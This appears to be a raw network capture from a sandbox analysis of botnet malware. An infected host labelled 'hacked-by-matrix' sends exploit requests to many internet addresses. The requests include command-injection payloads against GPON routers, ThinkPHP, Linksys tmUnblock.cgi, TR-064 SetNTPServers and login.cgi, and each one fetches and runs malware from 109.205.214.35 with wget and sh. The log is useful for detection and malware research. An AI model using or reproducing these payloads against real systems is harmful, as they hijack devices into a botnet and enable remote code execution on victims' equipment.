Mar 21, 2024 05:21:55.078296900 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
165	192.168.2.14	34198	178.61.15.146	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:55.078310966 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
166	192.168.2.14	55422	94.196.182.13	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:55.078342915 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
167	192.168.2.14	59958	178.174.105.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:55.078371048 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
168	192.168.2.14	57728	210.125.131.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:55.078422070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
169	192.168.2.14	35188	118.170.0.192	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:55.078489065 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
170	192.168.2.14	37734	95.65.59.206	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:55.204559088 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:55.431458950 CET	364	IN	HTTP/1.1 505 HTTP Version not supported Content-Type: text/html; charset=utf-8 Content-Length: 140 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>505 HTTP Version not supported</title></head><body><center><h1>505 HTTP Version not supported</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
171	192.168.2.14	58284	172.65.88.91	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:55.335954905 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
172	192.168.2.14	34466	34.149.151.234	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.102462053 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
173	192.168.2.14	53844	212.83.190.56	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.139561892 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:56.313160896 CET	175	IN	HTTP/1.1 400 Bad Request: missing required Host header Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3a 20 6d 69 73 73 69 6e 67 20 72 65 71 75 69 72 65 64 20 48 6f 73 74 20 68 65 61 64 65 72 Data Ascii: 400 Bad Request: missing required Host header

Session ID	Source IP	Source Port	Destination IP	Destination Port
174	192.168.2.14	38184	212.6.189.39	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.147418022 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:56.324071884 CET	404	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:21:56 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
175	192.168.2.14	34072	212.2.109.52	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.163218975 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:59.361689091 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:05.503431082 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:17.534101009 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
176	192.168.2.14	48806	38.14.137.61	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.313427925 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:56.469319105 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:21:56 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
177	192.168.2.14	60524	63.135.96.171	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.463809967 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:57.278918982 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:57.428854942 CET	525	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:21:56 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>
Mar 21, 2024 05:21:57.948314905 CET	525	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:21:56 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
178	192.168.2.14	58170	212.93.114.9	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.554327965 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:57.182909966 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:58.430805922 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:00.899135113 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:06.015106916 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:15.998094082 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:35.965370893 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
179	192.168.2.14	53692	106.15.178.185	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.709721088 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:57.097795963 CET	318	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:21:56 GMT Content-Type: text/html Content-Length: 166 Connection: close Via: HTTP/1.1 SLB.82 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
180	192.168.2.14	51844	192.81.212.86	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.889476061 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:21:56.979701042 CET	626	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 431 Date: Thu, 21 Mar 2024 04:21:56 GMT Keep-Alive: timeout=5 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 